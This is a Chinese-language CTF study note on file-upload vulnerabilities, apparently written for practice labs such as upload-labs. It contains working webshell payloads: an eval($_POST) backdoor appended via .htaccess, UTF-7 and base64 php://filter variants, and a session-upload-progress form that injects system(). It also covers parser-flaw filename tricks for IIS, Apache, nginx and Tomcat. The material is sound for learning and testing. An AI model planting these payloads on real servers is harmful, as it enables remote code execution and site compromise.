上传文件漏洞
参考国光:https://www.sqlsec.com/2020/10/upload.html#toc-heading-22
0 可上传配置文件
可以看upload_labs的攻略
0.1 .htaccess 伪静态
概述来说,htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
.htaccess的一些语法:
0.1.1转php
AddHandler php5-script .jpg
AddType application/x-httpd-php .jpg
Sethandler application/x-httpd-php
总而言之:
SetHandler application/x-httpd-php .后缀
以这个为后缀的文件都当交给php解释器解析 (所以这个文件还是要<?php标签的!只是可以随意后缀名)
- 法2
0.1.2文件包含
php_value auto_append_file /tmp/webshell.txt
php_value auto_append_file /tmp/sess_xxxxxx
一般用于awd
Xss后门:
php_value highlight.comment '"><script>alert(1);</script>'
自包含
马1
php_value auto_append_file .htaccess
#<? php eval($_POST[a]);?>
马2 (防<?
script
被过滤)
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7”
php_value auto_append_file .htaccess
#+ADw-script+AD4-alert(1)+ADsAPA-/script+AD4
#+ADw?php phpinfo()+Ads
0.1.3反序列化回调
php_value unserialize_callback_func "phpinfo”
一旦PHP文件中发生了反序列化,phpinfo就会触发
unserialize('O:1:"1":0:{}');
0.1.4 绕过< type
<FilesMatch "shana">
SetHandler application/x-httpd-php
</FilesMatch>
当不可以<时
AddType application/x-httpd-php .wuwu
php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu"
type和<被过滤,payload
AddHandler php7-script .txt
还有一种payload
#define width 1337
#define height 1337
AddType application/x-httpd-php .txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.txt
php_value auto_append_file "php://filter/convert.base64-decode/resource=./shell.txt
是base64解码的意思,所以上传的时候要base64上传
0.1.5 文件名和内容都过滤ph
先上传htaccess
Options +ExecCGI
SetHandler cgi-script
后上传cgi
#!/bin/bash
echo "Content-Type: text/plain”
echo ""
cat /flag
exit 0
这个cgi就会相当于linux脚本一样执行起来
非预期:
AddType application/x-httpd-p\
hp .jpg
核心思想就是这个斜杠相当于换行(这点类似于linux)于是绕过了过滤
很牛逼的做法
0.1.6基于htaccess的盲注
0.2 .user.ini
auto_prepend_file=/flag
1 一些小trick
1.0 js过滤
burp抓包绕前端
1.1 改content-type
image/jpeg
别人的博客是真滴香甜!!
1.2 后缀名大小写
1.3 二次渲染(图片马)
条件:遇到imagecreatefrom这种图片渲染函数+有任意文件包含且解析为Php的漏洞(如include管理不善而引发的任意文件包含)
利用:
先传一张正常图片
然后经渲染后下载下来
然后再使用jpg_payload-master合成二次渲染的图片马
┌──(thai㉿DESKTOP-322K1AV)-[/mnt/c/Users/20281/Desktop/webtools/jpg_payload-master/jpg_payload-master]
└─$ php jpg_payload.php 2.jpg
Success!
接着再次上传,然后包含
效果如下
然后蚁剑成功连接
2 基础知识和工具
2.1 上传文件用的前端
<!DOCTYPE html>
<html>
<body>
<form action="http://e113b1bc-28b8-4f08-9e60-b74fe3a96ef3.chall.ctf.show/" method="POST" enctype="multipart/form-data">
<input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php system('dir');?>" />
<input type="file" name="file" />
<input type="submit" value="submit" />
</form>
</body>
</html>
2.2 通过靶场推荐
靶场环境:https://github.com/c0ny1/upload-labs
环境搭建:
1 2 |
docker pull c0ny1/upload-labs docker run -d -p 80:80 upload-labs |
---|---|
判断上传漏洞的类型:
文件上传漏洞主要存在以下几个方面:
- 可解析的后缀,也就是该语言有多个可解析的后缀,比如 php 语言可解析的后缀为php,php2,php3 等等
- 大小写混合,如果系统过滤不严,可能大小写可以绕过。
- 中间件,每款中间件基本都解析漏洞,比如 iis 就可以把 xxx.asp;.jpg 当 asp 来执行。
- 系统特性,特别是 Windows 的后缀加点,加空格,加 ::$DATA 可以绕过目标系统。
- 语言漏洞,流行的三种脚本语言基本都存在 00 截断漏洞。
- 双后缀,这个与系统和中间件无关,偶尔会存在于代码逻辑之中。
2.3 可解析的后缀
很多语言都有多个可以解析后缀。当目标站点采用黑名单时,往往包含不全。
语言 | 可解析后缀 |
---|---|
asp/aspx | asp、aspx、asa、asax、ascx、ashx、asmx、cer |
php | php、php5、php4、php3、php2、phtml、pht |
jsp | jsp、jspa、jspx、jsw、jsv、jspf、jhtml |
3 中间件漏洞
3.1 IIS
IIS 一共有三个解析漏洞:
- IIS 6.0 文件解析
xx.asp;.jpg
- IIS 6.0 目录解析
xx.asp/1.jpg
- IIS 7.5 畸形解析
xxx.jpg/x.php
3.2 Apahce
apache 相关的解析漏洞有两个:
- %0a (CVE-2017-15715)
- 未知后缀 test.php.xxx
3.3 nginx
nginx 解析漏洞有三个:
- 访问链接加
/xxx.php
,即test.jpg/xxx.php
- 畸形解析漏洞
test.jpg%00xxx.php
- CVE-2013-4547
test.jpg(非编码空格)\0x.php
3.4 tomcat
tomcat 用于上传绕过的有三种,部分限制在 windows 操作系统下。
- xxx.jsp/
- xxx.jsp%20
- xxx.jsp::$DATA
3.5 Windows特点
经过查资料,目前发现在系统层面,有以下特性可以被上传漏洞所利用。
- Windows 下文件名不区分大小写,Linux下文件名区分大写
- Windows 下 ADS 流特性,导致上传文件 xxx.php::$DATA = xxx.php
- Windows 下文件名结尾加入
.
、空格
、<
、>
、>>>
、0x81-0xff
等字符,最终生成的文件均被 windows 忽略。